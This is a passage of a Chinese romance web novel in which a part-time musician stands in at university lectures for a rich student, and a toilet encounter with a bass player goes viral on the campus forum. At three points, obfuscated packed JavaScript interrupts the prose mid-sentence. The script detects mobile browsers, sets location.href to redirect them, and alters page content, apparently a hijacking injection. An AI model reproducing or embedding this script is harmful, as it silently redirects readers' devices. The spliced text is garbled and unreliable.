陆延没时间去感受脸疼不疼,他换好衣服之后打开前置摄像头,抬手抓了抓头发,庆幸自己刚把头发给剪了。 不然拍照的时候只能往脸上怼个大特写,可能人家还要问:你头发呢,拍拍发型,不会是个秃子吧,把镜头往上挪一挪。 室内光线不是很好,陆延自拍还凑合,主要平时在舞台上凹造型凹习惯了,他找好角度咔嚓一下就完事,然后直接把照片给对方发了过去。 对面那人估计同时在聊好几个应聘的,两分钟后陆延才收到回复:本人? LY:嗯。 对面:可以! 对面:就你了!我们加微聊联系,给你发课表。 对面:太不容易了,我都找好几天了! 不知道为什么,陆延觉得对面字里行间都透露出一种喜极而泣的感觉。 两人敲定之后就加了联系方式,详谈替课的细节。 虽然发了照片,陆延还是担心这个人可能有问题,于是去看他的空间,发现点进去头一条就是:珩哥没来上课的第五天。 定位是C大教学楼。 陆延看着C大的实时定位,觉得这笔生意应该还算靠谱。 对面:[/照片]这是课表。 对面:学号是12xxx44。 陆延把课表和学号保存下来。 这个人……成绩有点烂啊。 都大四下学期了,还有那么多门重修课。 这得是挂科挂成什么样。 对面又说:对了,我们校区在南校区,别走错了。 C大这个学校占地面积大,就算坐地铁也得坐个两站,而且分好几个校区……南校区。 南校区啊。 陆延在心里反复念两遍。 怎么会走错。 这是一个他在心里已经走了无数遭的地方,他不用算都能估出从下城区到那儿的时间。 陆延甚至能听到耳边有个来自五年前的声音说:“我要考C大,音乐系。” 那个声音太熟悉,也太过陌生。 陆延想不起来当年自己说这话的情形,可能是填志愿的时候班主任在劝他?你这个分数考C大有点困难,建议还是填个稳的学校。 他真的想不太起来了。 陆延也没能想多久,对面那人又推过来一个微聊名片,头像是一片黑,名字叫“没事别烦我”。 对面:你加一下我兄弟,到时候有什么事儿方便联系。 陆延:行,他叫什么? 陆延向那片黑发送了好友请求。 大约过了十秒,对面回复名字的同时那片黑也回应了他,因为陆延的消息框连着弹出来两条信息,其中一条是系统提示:[对方已拒绝你的朋友验证请求]。 陆延:“……” 对面回复:我兄弟,肖珩。 8. 第八章 名字倒是不错。 但这脾气。 陆延想起跟这位替课对象同姓但不知道具体叫什么的另一个人。 …… 姓肖的都那么嚣张? 对面也是很尴尬,连连道歉:看我这脑子,我忘记跟我兄弟说这事了,你等一会儿啊,不好意思。 肖珩收到好友验证请求的时候正在厨房里冲奶粉,本来就因为动作不方便烦得不行——他身上穿了件前抱式婴儿背带,胸前鼓起来一块儿,怎么看怎么突兀。 他低头去看那块儿鼓起来的东西。 对上一双纯净的大眼睛。 那双眼睛大得过分,像两颗黑葡萄。 婴儿不过四个月大,大概是饿了,闻到奶粉的味道又喝不着,眼睛一闭就开始哭:“哇——” 这一哭,像拧开的水龙头开关似的,“哇”个没完。 肖珩语气不是很好:“哭什么哭。” 哭声没停。 肖珩:“别哭了,很烦。” 哭声还是没停。 肖珩忍住想把怀里这个孩子扔出去的冲动,皱起眉在手背上滴了一滴奶试温度,等试完才把奶嘴往那孩子嘴里塞。 这时候,才熄灭的屏幕又亮起来。 [邱少风]:珩哥! [邱少风]:你别拒绝人家啊,那是我给你找的替课! 肖珩完全不知道替课这个词到底为什么会出现在此时此刻的聊天内容里。 他直接给邱少风回电话:“替什么课?” “老大你最近都在忙什么呢,还有壮志也是,你们俩扔下我去哪儿玩了,”邱少风说着开始展现自己伟大的兄弟情义,“不过没关系,虽然你们这样对我,但我不是那种斤斤计较的人,为了让你玩得开心、玩得放心——” 邱少风话没说完,肖珩就说:“不需要。” 邱少风:“……” 肖珩:“辞了吧。” “你觉不觉得你很过分!”邱少风怒了,“出去玩不带我就算了!兄弟的真情是这样践踏的吗?!” 肖珩心说出去玩个屁啊。 他在家带孩子带得连觉都没法睡。 但孩子的事情说起来太麻烦,前几天让翟壮志那小子歪打正着撞上他去买奶粉已经够烦了。 而且怎么说? 说肖启山那老畜生在外面乱搞给他搞出来个同父异母的弟弟。 这小孩还认人,喂过他一次之后换谁喂奶都不喝? 邱少风话越说越多,肖珩打断道:“行了,你让他再加一下。” 肖珩把验证请求给通过了,对方微聊头像是一把黑红色异形吉他。 邱少风:“这还是我精挑细选、为了符合你的形象挑了三天才挑出来的,你就这么对我?” 肖珩:“我谢谢你。” “真挺帅的,”邱少风话锋一转,“有照片,你要看看不?” “不看,”肖珩扶着奶瓶说,“我有病吗?” [没事别烦我]:我通过了你的朋友验证请求,现在我们可以开始聊天了。 由于这种暴躁老哥式的名字容易让人引起不适,通过验证后陆延直接给他改了备注,也不知道发什么,礼貌性发了句“你好”。 结果对面也没回。 陆延想想,又发过去几句: 本人有多年兼职经验。 坚持以诚信为本,顾客至上的服务理念,对替课负责,让用户满意。 创出一流的课绩,展现一流的风貌。 这次对面回复了。 回复的是六个点。 [肖珩]:…… 替课的事谈差不多了,陆延打算趁下午楼里没什么人练会儿琴,晚上再去赴伟哥的酒约,自从说了下次再喝,伟哥每回见到他就叨叨下次到底是什么时候。 平时楼里大家要想聚聚都是上天台,等天黑了,在天台上支起一张小塑料桌。 陆延扛着半箱啤酒上天台,发现张小辉也在。 “你怎么的,”陆延把啤酒箱放下说,“小辉你平时不是不喝酒吗。” 张小辉摇摇头:“别提了哥,我这几天太倒霉。” “好不容易有两句台词,被其他龙套给抢了……” 张小辉没有固定工作。 他有一个演员梦,平时往各大影城钻,从尸体开始演,演到都能出本《论尸体的自我修养》之后才演一些带台词的小角色,虽然截至到目前为止,每个角色的台词从来没有超过六个字。 “抢了也就抢了吧,正好组里还差个丫鬟,我就跟导演说,我可以是女人,”张小辉仰头灌下一口酒,“……导演觉得我是变态。” 陆延:“多努力一孩子,再说了演技可以跨越性别,那导演怎么说话呢。” 张小辉:“是吧!” 几个人干了几杯酒后,伟哥醉醺醺地说:“延延唱首歌呗?挺长时间没听你唱歌了,你那吉他呢,拿上来弹弹。” 陆延:“行,我这就去拿。” 张小辉拦都拦不住:“琴就不用了吧,伟哥你真是喝太多了……” 陆延下楼把吉他拿上来,手指摁在琴弦上,想起黄旭走之前一把鼻涕一把眼泪的控诉“你吉他弹得实在是太烂了”,陆延突然想,这个时间他们那辆火车现在开到京州了吧。 陆延左手换了指法,临时换歌,一段磕磕巴巴的琴声从指间流泻而出。 他闭上眼,空了一拍才开口唱: “But U''ll be alright now sugar (你一定会好起来的) You''ll feel better tomorrow (明天你就会好起来)  e the morning light now baby (天即将破晓) …… don''t you cry (你不要哭泣) Don''t you even cry (你再也不要哭泣)” 在这歌声里,夜色温柔地倾泻而下。 陆延没喝太多酒,按照对方发过来的课表,明天上午八点就有一节早课。 国际金融。 从下城区过去路上大概两小时,早上陆延咬着面包片翻衣柜的时候发现自己的衣服大部分都是舞台装,花里胡哨的什么类型都有,带毛的带银链条的……陆延翻着翻着甚至从底下翻出来一条裙子——就是没几件能穿去学校里的。 T恤衫是比较简单,但他随手找出来一件T恤上头印着几个英文单词:I will fuck you。 其他几件也没能幸免。 陆·社会游民·延遇到了他兼职生涯的第一个挑战。 陆延最后翻遍衣柜终于找到件白衬衫,搭牛仔裤,加上他刚剪短的头发,身上也没戴那些乱七八糟的首饰,看上去还挺像那么回事。 陆延到C大门口时正巧是上学高峰。 C大是百年老学校,坐落在厦京市市中心,闹中取静。 从正门往里面看过去,金字牌匾后是一条长长的绿荫路,学生们骑着自行车在大学校园里穿梭,清脆悦耳的自行车铃声响彻在绿荫路上。 国际金融课教室是间大教室,总共有几百个座位。 陆延特意拍张照才进去。 为了显示照片是现拍的,他伸两根手指到镜头中央比了个耶。 [陆延]:[/图片]。 [陆延]:到了。 半小时后肖珩才回。 [肖珩]:不用给我发。 陆延坐在教室后排,在国际金融的课堂上听台上的老教授讲“金融关系和国际货币”。 其实讲的到底是什么无所谓,反正他也听不懂。 陆延一只手撑着脑袋,另一只手打字回复:这是我的职业精神。 一节课过半,老教授把PPT关了。 “接下来大家拿张纸出来……名我就不点了,你们人多费时,剩下时间就写篇随堂小论文,写上姓名学号,下课统一交给我。” 老教授:“题目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727110|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自拟,就谈谈这节课就行了。” 还有随堂作业。 陆延想着随便上网摘录点就行。 但老教授又说:“不能上网络上抄啊,那我一眼就能看出来,不管你写得怎么样,只要是自己写得就行,咱就当交流和探讨,不要有心理负担。” 陆延感觉他好像遇到了兼职生涯第二个艰巨的挑战。 大家都低下头唰唰唰写起来,陆延把手机百度页面退出去,给老板报备: [陆延]:有个随堂作业要交。 [陆延]:我没学过这个……你要是信我的话,我就自己发挥了? [肖珩]:随便你。 ……这位客户还是一如既往的不好说话。 陆延把手机放边上,开始琢磨小论文怎么写。 金融专业方面他不懂,陆延只能另辟蹊径,于是除开姓名学号和标题以外,他写下第一段话: 这节课我最大的感受就是教授您身上儒雅的气质和渊博的知识。桃李无言,下自成蹊。您是人类灵魂的工程师,您传播智慧的火种,是茫茫大海上一盏指引方向的航灯,您就像这清晨第一缕阳光照耀着我。 …… 今天总共就一上午的大课。 [陆延]:上完了。 [陆延]:钱是你付还是你兄弟付? 对面干脆利落转了过来。 [肖珩]:[转账]。 陆延往外走,收下转过来的钱,打算坐车回去。 他方向感不强,来的时候能顺利找到教室已经实属不易,结果从教学楼另一侧门出去,换了方向就开始犯蒙。 他也不知道自己走到了哪儿,前面不多远是个小广场。 大概是有什么社团纳新的活动,广场上支着几排摊位。 很热闹。 陆延的目光越过这些摊位,最后落在“乐器社”三个字上。 纳新还没正式开始,乐器社摊位上只有两三个在准备的人,乐谱支架和几样乐器。 最边上有个穿黄色T恤的矮个子男生在调音。 贝斯。 陆延没当回事,校园社团水平普遍业余。 他正要继续找路,那男生调完音之后随手秀了段slap,虽然音箱条件不行,放出来的效果刺啦刺啦的,平心而论,这个人弹得……相当可以。 技巧娴熟。 速度快到令人咋舌的同时每个音都弹得干净清晰。 这段不到三十秒的slap,因为周围人不多,音箱效果也不好,没有引起什么关注。黄T恤秀完这段,弯腰把背带取下来,再把贝斯交给身边的人:“行了,调完音了。” 陆延听到边上的人接过贝斯问:“你不在我们摊位上玩会儿吗?” 黄T恤说:“我又不是你们社团的,瞎凑什么热闹,我等会儿还有课。” 黄T恤说着拐进前面教学楼里的洗手间。 黄T恤可能这辈子都没想过这间厕所会是他人生的一个重要转折点,因为等他解决完从隔间出来,就看到厕所里正对着他隔间的那堵墙上倚着个人。 男的。 还是个正在抽烟的男人。 男人身上穿着件白衬衫、看起来干净得不可思议,但整个人又有种说不上来的截然相反的气质。 见他出来了,男人把烟掐灭:“我刚看到你弹贝斯了,很帅。” 黄T恤心一颤。 陆延虽然平时看着没下限,能对着黑桃乐队撬墙角,但真让他面对面、真情实感地拉个陌生人还有点不好意思。 他咳了一声,边组织语言边说:“我对你挺感兴趣的。” 陆延没意识到自己在这个地点、这种行为之下说的这句话多有歧义,他也没发现黄T恤越来越微妙且惊恐的表情。 “如果你愿意的话……我们……”我们可以交个朋友,我有个乐队你想不想加入。 但陆延话没能说完,黄T恤直接拿起手边的拖把挡在胸前:“你谁啊!” “我,”陆延替课替得太投入,说,“经济系,肖珩。” 9. 第九章 [帖子]讲一讲今天我在厕所隔间听到的秘闻……【火】 [帖子]紧急连线隔壁楼当事人,来听学弟的悲惨自述——被某肖姓学长纠缠的那些事【火】【火】【火】 C大论坛一夜之间风起云涌。 这两个帖子横空出世,在首页飘红,论坛实时在线人数不断飙升。 陆延对此并不知情,他正计划着怎么把黄T恤拉进自己乐队里,难得遇到这么好的苗子,逮不住太可惜了。 在C大论坛回帖量暴增的同时,他和李振在商量对策。 “人可是C大的,这能拉进来?会不会嫌咱不入流?”李振犹疑地问。 “试试吧,”陆延在电话里说,“我还去他们教室跟着蹭了一节课跟他联络感情,他学计算机,上大二,基本情况我都摸清楚了,打算明天约他吃个饭聊聊。” “计算机?这专业跨得有点大啊。” 陆延说:“袋鼠以前上大学那会儿学的还是园艺——你忘了?” 李振:“哈哈哈也是。” 第二天的课在下午,企业管理。 陆延照常去替课,在课堂上第一次收到客户主动发过来的消息。 [肖珩]:到了? 到了。陆延回。 我替课您放心,不迟到不早退是我的原则。 客户只回复一个字。 [肖珩]:行。 老教授在台上讲何谓人力资源,陆延给这位客户发消息的时候完全没想过客户本人带着俩兄弟正准备堵他,他也没从这个“行”字里品出什么其他意思来。 这个‘行’所表达的确切意思其实是: 行,你给我等着。 大教室外。 楼道拐角的楼梯台阶坐着一个人。 这个位置离教室很近,不过隔着堵墙的距离。 肖珩坐在台阶上,低着头解开两粒扣子,慢条斯理地将袖口折上去,对台阶下面的人说:“等会儿人一出来,你和少风上去把人弄过来。” “没问题,照片我看过了,保准给他整得服服帖帖的,”翟壮志说,“不过我瞧着照片怎么觉得有点眼熟,长得是挺帅,老大你看看不?” 肖珩会看就有鬼了。 他昨天晚上好不容易能睡会儿,刚躺下不超过十分钟,被各种消息震醒。 发过来的全都是些匪夷所思的内容。 ——所有人生而平等自由。 ——不要担心我们会用异样的眼光看你,爱情是平等的,勇敢做自己。 ——每个人都有追求幸福的权利。 …… 肖珩一只手插在衣服口袋里,指腹抵在打火机冰凉的滑盖上,心想等那人出来还是先揍一顿算了。 堵人。 他很久没有干过这事了。 翟壮志也很激动:“我怎么那么兴奋呢,感觉就像回到了高中那会儿,那会儿珩哥——” “高中”这个字眼猝不及防地冒出来。 翟壮志还想往下说,邱少风用手肘顶他一下。 翟壮志反应过来,立马闭麦。 “别对着监控,”肖珩看上去倒是没什么情绪波动,说,“记得往角落里堵。” 下课铃响,安静的教室瞬间充斥着下课的欢呼声。 这一节课上下来,陆延课没听多少,歌倒是写了半首,他收拾好东西,把那张纸折起来往裤兜里塞。 外头天气晴朗,阳光明媚。 是个好日子。 尤其适合纳新。 陆延看着窗外的阳光,打算去计算机系找乐队未来贝斯手吃个饭,结果刚走出教室没几步,就被一股无形的力量拽出了人流。 “是他吗?”陆延听到一个声音问。 “就是他!”另一个说。 等陆延回过神来,已经被人一左一右按着胳膊往墙上抵。 陆延:“两位兄弟,有事吗?” 面前这人态度实在是过于淡定,邱少风出奇地怒了:“你自己干了什么你自己不知道吗!” 陆延重复他的话:“我干了什么?” “……”邱少风跟他无法沟通,扭头喊,“老大!” 这时候才有人从台阶上走下来,那人走得不慌不忙,好像不是来堵人而是恰好路过一样,男人走到他面前,陆延视野正中间出现了一块有点眼熟的腕表。 往上是一截精瘦的手腕。 再往上,四目相对。 大少爷。陆延脑海里冒出来的第一个词条。 杀马特。肖珩只能想到这三个字。 大少爷今天穿得不像上次那么正式,很随意的打扮,甚至比走在校园里的大部分人还要随意一些,脚上穿的是一双人字拖。 但神奇的是,哪怕脚踩人字拖,个人形象也没有减分,如果他等会儿有课要上的话,给人感觉就像那种一到教室就找最角落位置趴下睡觉的类型。 眉目困倦,看起来很散漫的样子。 肖珩本来确实是很困,可当杀马特三个字从脑海里冒出来、直冲天灵盖,他瞬间就清醒了。 “你,”陆延把上次的事和目前这个状况联系起来,“……来报仇的?” 上回追上去道歉,这人没反应,敢情不是不报是时候未到。 陆延算是想明白了,就等着之后找机会好好整他呢。 但他看看驾着他左胳膊的红头发,以及右边的陌生面孔,觉得有句话不得不说:“先不提你怎么知道我在这儿上课,你们三对一是不是太过分了点。” 陆延话说一半,大少爷又往前走了两步,两个人凑得很近,然后他听到大少爷在他耳边不冷不热地说了六个字:“我,经济系,肖珩。” “……” 肖珩说完往后退,退回先前的距离。 这是想表达什么。 这话倒是有点耳熟。 不过陆延是真的没想到世界那么小。 给人替课,替的那个肖珩居然就是这位大少爷。 陆延又跟肖珩对视一会儿,觉得自己可能明白了,虽然两条胳膊都被人压着,他还是动动手指头,勾手示意他再凑过来,按照同样格式介绍自己: “我,无业游民,陆延。” 肖珩:“……” 翟壮志:“……” 邱少风:“……” 下课往外走的那拨人基本上都已经走光,走廊再度安静下来。 “行了,”肖珩说,“拿给他看。” 说完,肖珩又没精神似地半眯起眼,朝翟壮志伸手。 多年兄弟,翟壮志立马反应过来,拿出手机,打开C大论坛递了过去。 这个架势和配合度让陆延想起以前学校里那种横行霸道专门欺负学生的小团体,陆延正胡思乱想着,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727111|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕上醒目的两行字冲进他的眼帘:厕所秘闻,学弟的悲惨自述。 厕所秘闻就是个爆料贴,第二个帖子比较有创意,用的还是采访体。 楼主:为保护当事人隐私,以下采访对当事人采用化名,化名为小华。小华,请问你之前和某肖姓学长认识吗? 小华(化名):他很有名。听说过,但没见过,完全不认识。 楼主:你觉得他是什么时候对你产生好感的? 小华:他说看到我弹贝斯,觉得很帅,我猜应该是那个时候对我产生了不该有的兴趣。 陆延把那句‘不该有的兴趣’翻来覆去看了好几遍。 楼主:之后他有没有再做出什么奇怪的举动? 小华:从厕所出来他就跟着我去上课了,坐在我边上听歌,还想分我一只耳机递给我,当时我特别害怕。 楼主:分耳机? 小华:对,很暧昧,我没有接。 楼主:对此你是什么感受?有没有什么想说的? 小华:我很苦恼,我不知道应该怎样面对他狂热的追求。 陆延这下是彻底明白了。 昨天黄T恤跑得太快,他想重新再跟他做一番自我介绍的时候黄T恤把拖把往他身上一扔,直接夺门而出,跑路的速度跟他弹贝斯的速度一样快。 陆延跟着追出去,在教学楼里跟黄T恤两个人你追我赶。 但黄T恤跑进教室之后,教授站在讲台上已经准备要上课,他也不方便说话。 “那个耳机,我想给他听我们乐队的歌,”陆延不知道该从哪里开始解释,“他贝斯弹得不错,我们乐队前几天走了两个人……” 他话都说得不太顺,几乎已经没什么逻辑和先后顺序,说到最后陆延抬手抓抓头发,爆出一句脏话:“操,这他妈。” 翟壮志打断道:“你搞乐队的啊?” 邱少风:“你什么岗位,吉他手?” “……啧,”肖珩永远不会忘记陆延那离奇的吉他技术,嗤笑一声说,“他?吉他?” 陆延:“……” 陆延又说:“总之这真是个误会,这事我会说清楚的。” 不知道为什么每次遇到这个人就有那么多误会,上次楼道里逮错人也是。 他可能跟这位少爷八字不合。 但这事责任确实也在他,他那天在厕所里一时脑抽,说什么他是肖珩。 肖珩看着他,像是在辨别他这话的真实性,最后他冲边上两个人扬扬手:“撤。” 翟壮志:“就这样放过他了?” 邱少风:“老大,不打一顿先?” 肖珩没回话,踩着拖鞋转身往外走。 陆延心想,这几个人以前真不是什么恶霸小团体吗? 陆延正打算把手机还给红头发,结果指腹不小心触在屏幕上,面前那页帖子又往下滑动,他无意间看到几条匿名跟帖。 15L:某肖姓学长,是肖珩吧?那个富二代? 16L:啊啊啊是肖珩啊,我知道他!见过一面,讲真的长得帅家世好,这年头帅哥都去搞基了吗QAQ 17L:好什么啊,也就骗骗楼上那种脑残小女生……这种不学无术的废物二世祖,还是拉倒吧。 废物两个字眼从眼前一闪而过。 陆延再抬头,就只能看到肖珩懒懒散散往外走的背影了。 10. 第十章 计算机教室也刚下课没多久,教室里就剩下少数几个留下来写课堂作业的同学。 陆延到教室门口发现黄T恤已经走了。 想在那么大的校园里头找一个人,这几率跟大海捞针差不多,但澄清自己不是肖珩这件事儿又不能拖。 陆延回想起刚才两个触目惊心的标题,再拖下去肖姓学长的名声怕是真的要完。 于是陆延在留下来的这些人里头挑了一个,毫无心理往人边上坐,跟他唠嗑:“你也没做完呢?” 那同学闷头敲下最后两行代码,点击运行,屏幕上什么也没发生。 “是啊,”那同学崩溃地抓抓头发说,“你已经交了吗?” 班级人多,平时下了课之后大家又都各自回寝室,班级同学认不全也属正常,所以“陌生同学”陆延跟人搭话倒也没有引起怀疑。 而且这位陌生同学态度过于自然,好像真是计算机系一份子似的。 “这节课内容是挺难的,”陆延点点头说,“不好消化。” 陆延就这么有一搭没一搭跟人聊了起来,不出三分钟,陆延就从那位同学嘴里套到了黄T恤的所有个人信息。 “你说的是许烨吧?他去食堂吃饭了,他平时最喜欢吃食堂一楼那家大盘鸡,那家大盘鸡确实好吃,吃完饭可能会去网吧泡会儿,不知道你们寝室网怎么样,我们这楼最近总爱抽抽……” 黄T恤确实在学校食堂里等他的大盘鸡。 只是他等着等着,左肩忽地一沉,一条胳膊极其自然且随意地搭在他肩上,然后他对上了一张他可能这辈子也无法忘怀的脸。 许烨:“……” 陆延:“嗨。” 许烨简直快崩溃了,他想扭头就跑,可大盘鸡还没好,一时间陷入两难:“大哥你到底想干啥啊。” 陆延摁着他的肩将他整个人转向自己,试图解释:“朋友,你听我说——” 许烨想说‘谁特么是你朋友啊我真的对男人没有兴趣’,陆延直接用手捂住了他的嘴,把他还没说出口的话堵下去:“你闭会儿嘴。” “……” 食堂里人来人往。 等陆延简单把事情解释清楚,许烨都快晕了:“不是,所以你不是?你只是他的替身,啊不是,替课……那你跟我说那些话……” “我真的对你没有不该有的想法,”陆延把胳膊从他肩上放下来,指指窗口,“你的鸡好了。” 许烨端着大盘鸡找位置,陆延坐他对面。 “我们乐队目前还在地下时期,之前发过三张专辑。” “除开排练,平时也会接商演活动。” 陆延虽然平时看起来不怎么着调,见人说人话见鬼说鬼话,但说到这里,他敛去脸上其他表情:“虽然有点唐突,不过是真的想邀请你加入,你要是有意向的话就考虑考虑,以前加过乐队吗?” 许烨夹鸡块的手顿了顿,半晌才说:“没。” “我弹贝斯就是自己私下玩,就像平时喜欢打游戏但也从来没想过要当什么电竞选手一样,”许烨低着头说完,才抬头去看陆延,“不好意思啊,我应该没那个意向。” 陆延没再往下说。 他总不能跟刀疤似的搞坑蒙拐骗那一套:你是否也曾觉得在课堂上找不到目标?是不是也觉得迷失了自我?你的心里,是不是也藏着一个音乐梦想? 兄弟,跟着我干。 话再说下去显得多余,陆延递给许烨一张名片:“没事。你要是改主意了,就给我打电话。” 许烨接过那张名片,发现上面写满满当当地写着:代写代唱/打谱扒带/私人订制。 一首好歌!是用心写出来的! 专业团队,价格亲民,买不了上当买不了吃亏,让你体验什么才叫真正的实惠! “……” “反了,”陆延说,“在另一面。” 许烨将名片翻过去,另一面上简简单单写着:Vent乐队主唱,陆延。 贝斯手没逮着。 替课工作也黄得像地里的小白菜。 陆延觉得自己最近可能就是传说中的水逆。 天气倒一直很好,大太阳持续到五六点才慢慢落下去。 陆延坐在返程公交车上,靠着颠簸的车窗睡了一觉。 外边的景色呼啸而过,随着越来越黯淡的阳光,下城区也被渡上一层灰。 这一觉睡得不是很舒服。 等他下车,回到家,边揉脖子边把挂在墙上的日历撕下去一页,发现离五一劳动节才过去六天而已。 黄旭他们是次日夜里到的站,下火车之后还在四个人的群里发了一张出车站的照片,火车站门口标语上写着“青城欢迎你”,又在语音里说,别担心,我和耀明已经到了啊。 陆延把手里撕下来的那页日历攥在掌心,团成纸球,看着后面崭新的一页在心里跟自己说:这才哪儿到哪儿。 以后的路还长着呢。 这算什么。 他把撕下来的那页扔了,然后打算煮个面,等水烧开的空挡里他靠着墙打开C大论坛,发现飘在首页,后面跟着三团小火焰的帖子已经不见了。 取而代之的是一则澄清贴。 陆延想了想,又点开微聊界面,把昨天收的那两百给大少爷转了回去。 [陆延]:[转账]。 [陆延]:这钱我就不收了。 肖珩那边回消息回得慢。 隔半小时,又把这钱退回给他,附加两个字。 [肖珩]:不用。 陆延作为一个有原则有道德底线的替课,对退钱这件事很坚持,他都把人弄上学校论坛一夜成名了,哪儿还好意思收替课费。 两人一来一回,一个转账一个退还,这种极其幼稚的行为反复了三次。 [陆延]:收。 [肖珩]:说了不用。 [陆延]:你收啊。 [肖珩]:你烦不烦? [陆延]:[转账]。 [肖珩]:操。 几次之后,陆延再想转账过去,聊天框里直接跳出来一个红色的小感叹号。 [没事别烦我开启了朋友验证,你还不是他(她)朋友。] “……”这大少爷人挺狠。 估计是真烦了。 陆延随手点‘发送朋友验证”,等验证通过之后没再提跟肖珩提转账的事。 等水烧开,肖珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727112|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息倒是主动过来了,发的是一张聊天截图,聊天对象是一个备注叫胡老头的人。 胡老头:肖珩啊。 胡老头:明天来我办公室一趟。 胡老头:你课堂作业我看了,很感人,我都不知道原来你对我的敬仰有如滔滔江水…… 然后肖珩又发过来一句:你写的什么玩意。 还能写什么。 千穿万穿,马屁不穿。 陆延摸摸鼻子,他也就洋洋洒洒写了上千字对胡教授的花式彩虹屁,抛开课堂内容,吹到哪儿算哪儿。 陆延回:我写了一首对人类灵魂工程师的赞歌。 [肖珩]:…… [肖珩]:还钱。 之前为了不收那两百块连好友都删了,现在‘还钱’两个字冒出来,前后反差太明显,虽然很不厚道,但陆延还是有点想笑。 他又把两百转过去。 发现肖珩只是在说气话,并没有真收。 [肖珩]:你还干什么了。 [陆延]:没了。 陆延怕他不相信,又用人格担保,重复一遍:真没了。 肖珩没有立马回这条消息,中间大概又隔了半个多小时,陆延在水池刷碗的时候手机屏幕亮起来,由于没解锁,只在屏锁上弹出来一个小框框,框里是熟悉的几句话: [肖珩]:本人有多年兼职经验。 [肖珩]:对替课负责,让客户满意。 最后是一个冷漠的微笑:[/微笑]。 “……” 是他之前给肖珩发的入职宣言。 这表情跟白天这人眯着眼睛看他说完“吉他”之后那声嗤笑重叠在一起,陆延感觉自己被嘲讽了。 他关上水龙头,正要把碗放回去,看着手里的碗又想起来件事。 他问隔壁601借的碗还没还呢。 关于601那女人的事儿他这几天也从其他邻居那儿听来一点,上次陌生女人来砸门,又踹又闹,动静闹得整栋楼知道。 虽然楼里住户表面上没人说什么,背地里少不了一顿讨论。 说法最多的说她在足疗店工作。 那种一到晚上,街上随处可见一小间一小间足疗店,从外面望进去整间店被特殊材质的玻璃膜贴蓝色,女技师就坐在沙发上、或者穿着短裙站在门口。 陆延犹豫几秒。 他不是爱多管闲事的人,但这一次两次的,欠下太多人情债。 他最后还是解开手机屏锁,打下一行字:对了,601一般中午才回,你要找她的话可以下午来,或者我帮你跟她说一声。 这次肖珩没再说不用。 陆延想可能是因为两人误打误撞撞上几次,也不算太陌生,毕竟都共用过同一个名字了。 [肖珩]:行。 [肖珩]:知道了。 肖珩回复完,低头看看靠在他腿上的那颗小脑袋,刚喝完奶,小孩儿睡得正香,眼睫毛跟扇子似的,呼吸间发出轻微的声响,那把扇子也跟着轻轻煽动。 硕大的房子里冷冷清清,毫无人气。 他皱着眉,想把那颗脑袋推开,最后还是没下这个手,手搭在小孩儿后脑勺上拍了拍。 11. 第十一章 陆延这天中午又借了伟哥的摩托车出去菜市场买菜,连着吃了快一礼拜的泡面,再吃下去他人都快变成泡面了。 今天是周末,大部分住户都在楼里休息,虽然伟哥对去菜场买菜居然也要开他的摩托这件事表示‘理解不能’以及‘完全不想借’,还是磨不过陆延软磨硬泡,最后把车钥匙从三楼窗口给他扔了下去。 “伟哥你永远是我的好大哥。” “你赶紧滚。”伟哥顶着颗鸡窝头,站在窗口喊。 陆延隔段时间才会去菜场买次菜,虽然他在菜场出现次数不多,但在那片也算小有名气——砍价砍出来的名气。 等陆延买完菜从菜场回来,远远地就看到七区那堆废墟门口又停着一辆可疑车辆,等他离得近了些,他看到车身上的银色车标以及车尾那对熟悉的翅膀。 这是他第二次看到这辆格格不入的改装车。 陆延松开油门,等车缓缓停住,正好停在改装车边上。 他一只脚踩在地上,侧身前倾过去敲了敲那辆车的车窗,吹声口哨说:“来了?” 车窗缓缓降下。 陆延第一眼注意的不是某位大少爷,而是从大少爷怀里扭头转过来的小脑袋。 然后陆延对上了一对湿漉漉的大眼睛。 是个小孩。 一个还在喝奶的小孩儿。 小孩儿喝到一半忽然顿住,像被按了定格建一样。 肖珩嘴里“嗯”一声当是对陆延那句招呼的回应,然后极其自然地轻拍那小孩的后背,拍了一会儿那小孩才眨眨眼睛,从嘴里冒出带着一声奶味儿的:“嗝。” 虽然这个画面比较诡异。 首先肖珩这种人看起来不像会有耐心带孩子,总感觉会是一言不合就暴打小孩的那种类型。 这声“嗝”萌得陆延想伸手捏捏他的脸,事实上他也这么做了,等指腹触到小孩儿肉嘟嘟的脸颊上,陆延又问:“这你孩子?” “……” 肖珩抬眼看他:“你觉得可能吗。” 陆延:“不好说。” “不是,”肖珩虽然很不想解释,还是说,“这我弟。” 陆延没忍住又捏两下。 “他平时不爱让人碰。” 